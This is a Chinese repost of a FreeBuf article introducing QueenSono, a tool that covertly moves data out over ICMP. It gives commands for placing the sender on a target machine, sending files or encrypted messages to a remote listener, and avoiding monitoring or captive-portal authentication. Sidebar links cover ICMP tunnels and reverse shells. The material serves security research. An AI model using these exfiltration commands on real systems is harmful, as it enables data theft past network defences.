Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >如何使用QueenSono从ICMP提取数据

如何使用QueenSono从ICMP提取数据

作者头像
FB客服
发布于 2021-10-22 07:55:26
发布于 2021-10-22 07:55:26
3.1K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

关于QueenSono

QueenSono是一款针对ICMP协议的数据提取工具,该工具基于Golang开发,并且只依赖于ICMP协议不受监控这一事实实现其功能。除此之外,该工具也可以用于基本的ICMP检查,或绕过某些身份验证机制,比如说许多公共Wi-Fi在连接到Wi-Fi(如机场Wi-Fi)后用于对用户进行身份验证。

工具安装

从源码安装

广大研究人员可以直接使用下列命令将该项目源码克隆至本地,并安装好该工具所需的依赖组件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
git clone https://github.com/ariary/QueenSono.git
make before.build

下列命令可以构建ICMP包发送器-qssender:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
build.queensono-sender

下列命令可以构建ICMP包接收器-qsreceiver:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
build.queensono-receiver

工具使用

ICMP包发送器-qssender将负责把ICMP数据包发送至监听器,因此我们需要将qssender源码传输到目标设备上。

ICMP包接收器-qsreceiver就是我们本地设备上的数据包监听器了。

所有的命令和工具参数都可以使用“—help”来查看。

工具使用样例1:发送包携带“ACK”

在这个例子中,我们将发送一个大型文件,并查看接收到数据包之后的回复信息:

在本地设备上,运行下列命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt

参数解释:

-l 0.0.0.0:监听所有接口的ICMP数据包 -f received_bible.txt:将接收到的数据存储至文件 -p:显示接收数据的进度条

在目标设备上,运行下列命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt

参数解释:

send file:发送文件 -d 2:每两秒发送一个数据包 -l 127.0.0.1:每次接收回复信息的监听地址 -r 10.0.0.92:运行了qsreceiver 监听器的远程设备地址 -s 50000:每个数据包需要发送的数据量大小

工具使用样例2:发送包不携带“ACK”

在这个例子中,我们希望在不等待回复信息的情况下发送数据:

在本地设备上,运行下列命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ qsreceiver receive truncated 1 -l 0.0.0.0

参数解释:

receive truncated 1:如果没有收到所有数据包,则不会无限期等待

在目标设备上,运行下列命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 1 -N

参数解释:

-N:无回复选项

工具使用样例3:发送加密数据

在这个例子中,我们将发送加密消息。由于命令行可能会被监控,因此我们将使用非对称加密(防止密钥泄露):

在本地设备上,运行下列命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ qsreceiver receive -l 0.0.0.0 --encrypt
<OUTPUT PUBLIC KEY>

参数解释:

—encrypt:使用加密交换,它将生成公钥/私钥。公钥将用于qssender加密数据,私钥将用于接收器解密数据

在目标设备上,运行下列命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ export MSG="<your message>"
$ export KEY="<public_key_from_qsreceiver_output>"
$ qssender send $MSG -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 5 --key $KEY

参数解释:

—key:提供数据加密的密钥

项目地址

QueenSono:点击阅读原文

参考资料

https://github.com/ariary/QueenSono/tree/main/hack

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-10-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
内网隧道之ICMP隧道
ICMP是一个比较特殊的协议,在一般的通信协议里如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要,最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求,在通常情况下,每个ping命令都有相对应的回复与请求
Al1ex
2022/09/07
2.9K0
内网隧道之ICMP隧道
ICMPExfil:一款基于ICMP的数据提取和过滤工具
 关于ICMPExfil  ICMPExfil是一款基于ICMP的数据提取和过滤工具,该工具可以帮助广大研究人员通过有效的ICMP数据包传输数据。我们可以使用客户端脚本来传递希望过滤的数据,然后再通过目标设备将数据传递到运行的服务器上。无论你是经验丰富的安全专家,还是功能强大的安全系统,都只能查看到有效的ICMP数据包,数据包的数据结构没有任何的安全问题,我们的数据也不会隐藏在ICMP数据包中,因此通过审查数据包并不能够查看到我们所要提取或过滤的数据。  工具下载  由于该工具基于Python 3开发,
FB客服
2023/02/28
4180
ICMPExfil:一款基于ICMP的数据提取和过滤工具
针对Wi-Fi的帧聚合和帧分段漏洞攻击
在本文中介绍了支持Wi-Fi的802.11标准中的三个设计缺陷。 一个设计缺陷在帧聚合功能,另外两个缺陷在帧分段功能。这些设计缺陷使攻击者能够以各种方式伪造加密的帧,进而使敏感数据得以泄露。还发现了与聚合、分段相关的常见实现缺陷,这进一步加剧了攻击的影响。 本研究结果影响了从WEP一直到WPA3的所有受保护的Wi-Fi网络,这意味着自1997年发布以来,所发现的缺陷就一直是Wi-Fi的一部分。在实验中,所有设备都容易受到一个或多个本研究攻击的影响,确认所有Wi-Fi设备都可能受到影响。 最后,提供了一种工具来测试设备是否受到任何漏洞的影响,并讨论了防止攻击的对策(https://www.fragattacks.com )。
CDra90n
2023/06/30
8670
针对Wi-Fi的帧聚合和帧分段漏洞攻击
IoT中的高音质音频设计
音频是许多物联网应用不可或缺的组成部分, 包括消费品(如扬声器、耳机、可穿戴设备),医疗设备(如助听器),自动化工业控制应用、娱乐系统和汽车的信息娱乐设备等。
半吊子全栈工匠
2018/08/22
1.2K0
IoT中的高音质音频设计
KRACK官网翻译「建议收藏」
由mec-DistriNet, KU Leuven 的 Mathy Vanhoef 发布
全栈程序员站长
2022/08/14
5.2K0
利用空口抓包分析Wi-Fi问题
随着IoT的兴起,越来越多的嵌入式设备内置了Wi-Fi模块,具备了网络接入能力。 在开发过程中,难免会遇到各种各样的网络问题,而抓包无疑是分析网络问题最直接、最有效的手段。因为通过抓包可以明确问题是处于发送端还是接收端,迅速缩小排查范围。 然而,许多嵌入式设备上运行的可能不是Linux系统,而是一些实时操作系统(RTOS),甚至根本就没有操作系统。而和设备通信的对端也不一定能运行tcpdump或者wireshark等抓包工具。这使得常见的点对点抓包手段失效。
coderhuo
2018/12/21
10.7K0
如何使用Pulsar实现数据过滤和安全通信
 关于Pulsar  Pulsar是一款针对数据通信安全的强大工具,该工具可以帮助广大研究人员实现数据过滤和安全(隐蔽)通信,并通过使用各种不同的协议来创建安全的数据传输和聊天隧道。比如说,在Pulsar的帮助下,我们可以通过TCP连接来接收数据,并通过DNS数据包将其转发到真实的数据目的地址。  工具安装&配置  注意:我们需要确保本地设备上安装并配置好了Go v1.8环境,因为Pulsar基于Go语言开发,因此Go环境是构建Pulsar所必备的。 接下来,使用下列命令将该项目代码克隆至本地,并构建Pul
FB客服
2023/04/26
1.4K0
如何使用Pulsar实现数据过滤和安全通信
Wi-Fi Framework:一款功能强大的WiFi安全测试工具
Wi-Fi Framework是一款功能强大的WiFi安全测试工具,该工具本质上来说是一个安全框架,可以帮助广大研究人员更轻松地执行Wi-Fi安全测试。除此之外,我们还可以利用Wi-Fi Framework来创建模糊测试工具,设计新的测试方案,创建PoC以验证漏洞,自动化渗透测试或开发其他的漏洞测试工具。
FB客服
2022/02/25
1.2K0
Wi-Fi Framework:一款功能强大的WiFi安全测试工具
Apple无线生态系统安全性指南
Apple公司拥有着世界上最大的移动生态系统之一,在全球拥有15亿台有源设备,并提供十二种专有的无线连续性服务。以往工作揭示了所涉及协议中的一些安全性和隐私性问题,这些工作对AirDrop进行了广泛的研究。为了简化繁琐的逆向工程过程,本研究提出了一个指南,指南介绍了如何使用macOS上的多个有利位置对所涉及协议进行结构化分析。此外还开发了一个工具包(https://github.com/seemoo-lab/apple-continuity-tools ),可以自动执行此手动过程的各个部分。基于此指南,本研究将分析涉及三个连续性服务的完整协议栈,特别是接力(HO,Handoff), 通用剪贴板(UC,Universal Clipboard)和Wi-Fi密码共享(PWS,Wi-Fi Password Sharing)。本研究发现了从蓝牙低功耗(BLE,Bluetooth Low Energy)到Apple专有的加密协议等多个漏洞。这些缺陷可以通过HO的mDNS响应,对HO和UC的拒绝服务(DoS)攻击,对PWS的DoS攻击(可阻止Wi-Fi密码输入)以及中间设备(MitM)进行设备跟踪。对将目标连接到攻击者控制的Wi-Fi网络的PWS进行攻击。本研究的PoC实施表明,可以使用价格适中的现成硬件(20美元的micro:bit和Wi-Fi卡)进行攻击。最后,建议采取切实可行的缓解措施,并与Apple分享我们的发现,Apple已开始通过iOS和macOS更新发布修复程序。
CDra90n
2023/06/25
9380
Apple无线生态系统安全性指南
(others)ICMP报文详解系列「建议收藏」
分类: linux 网络 2014-04-17 23:45 487人阅读 评论(0) 收藏 举报
全栈程序员站长
2022/09/01
1.9K0
什么是IGMP?IGMP与ICMP有啥区别?
在多个平台广受大家喜爱,有朋友又想看IGMP的文章,咋一看这两个技术中间就差了一个字母,不过两者可是完全不一样的技术,那么今天瑞哥就安排一下!
网络技术联盟站
2022/06/29
5.6K0
什么是IGMP?IGMP与ICMP有啥区别?
计算机网络常见协议总结
计算机网络协议是指在计算机网络中进行通信时,设备之间所遵循的规则和标准。它们确保了不同设备之间能够有效地传输数据并进行相互理解。以下是一些常见的计算机网络协议及其简介。
一个风轻云淡
2024/10/31
1K0
ICMP/DNS 隧道处置方法 | Windows 应急响应
大家好,我们是 NOP Team,书接上回,我们给大家讲述了如何在 Linux 上找到 ICMP/DNS 隧道,但是现在工具都是全平台的,只有 Linux 似乎还不足以帮助蓝队兄弟们全面地解决问题
意大利的猫
2024/07/01
6651
ICMP/DNS 隧道处置方法 | Windows 应急响应
Libnet实现ICMP SMURF攻击
ICMP SMURF攻击是一种DDoS攻击,利用了Internet Control Message Protocol (ICMP) 的功能和网络的特性,目的是通过大量伪造的ICMP回应数据包(通常是使用广播地址)来消耗目标网络的带宽和资源。
Andromeda
2023/11/30
3870
网络安全ICMP重定向攻击
第一条是缺省路由,意思是说,当一个数据包的目的网段不在路由记录中,那么,路由器该把那个数据包发送到哪里,缺省路由是由网关default gateway决定的。
matt
2022/10/25
1.3K0
网络安全ICMP重定向攻击
通过ICMP协议反弹SHELL并执行命令
内网中的大多数系统都位于防火墙和企业代理之后,以便控制入口以及出口流量。防火墙可以拦截到反连的shell,但ICMP协议基本上是不拦截的。因此,为了获得shell并在目标主机上执行命令,可以使用ICMP协议作为隐藏通道进行连接。
Ms08067安全实验室
2019/12/18
1.1K0
通过ICMP协议反弹SHELL并执行命令
【愚公系列】《网络安全应急管理与技术实践》 011-网络安全应急技术与实践(网络层-Wireshark进行无线监听重现分析)
Wireshark是一款网络协议分析工具,可以帮助用户捕获和分析网络数据包。在无线网络环境中,Wireshark可以用来监听和分析无线网络流量,帮助用户了解网络中的通信情况和问题。
愚公搬代码
2024/09/16
2590
什么是 ICMP ?ping和ICMP之间有啥关系?
今天应粉丝要求约稿讲一下ICMP,说起ICMP,咋一看,很熟悉,但是仔细想想又讲不出来啥,所以这就是本文的目的。
网络技术联盟站
2022/06/27
2.5K0
什么是 ICMP ?ping和ICMP之间有啥关系?
网络慢?看看路由器设置对不对
防蹭网 开启 UPnP QoS 与网络限速 设置正确的 MTU 值 使用路由器交换机模式 使用无线中继扩展 Wi-Fi 信号 1、防蹭网 这是最最首要的一条:确认没有陌生人在蹭网! 被蹭网意味着你的 Wi-Fi 密码被泄露(看看是不是不小心用万能钥匙把自家 Wi-Fi 共享出去了?),或者你的路由器已经被入侵。入侵者如果稍微懂一点黑客技术的话(「猫哥学前班」以后也会介绍),只需通过 DNS 劫持或 ARP 欺骗技术,就能轻松获取你所有的上网信息和账户密码。 我们可以先通过以下方式,确认自家 Wi-Fi
猫哥学前班
2018/03/14
4.7K0
网络慢?看看路由器设置对不对
内网穿透之icmp隧道搭建+上线CS+环境场景搭建
在后渗透中内网隧道是必不可少的,在能够TCP出网的情况下搭建隧道是最容易的,使用frp即稳定又方便,搭建几级代理都不是问题。但是也有很多TCP不出网的情况,在这种场景下搭建隧道就要另寻门路了。为了方便学习内网隧道技术,我在公司的内网环境搭建了基于windows系统的苛刻的隧道环境,其实很简单,都是windows自带防火墙的一些规则策略。通过各种尝试,终于完成此环境(不知道有没有别的问题),现在把过程分享给大家~路过的师傅都来看看呀,有不正确的地方求教教我^^
亿人安全
2022/06/30
2.5K0
内网穿透之icmp隧道搭建+上线CS+环境场景搭建
推荐阅读
相关推荐
内网隧道之ICMP隧道
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验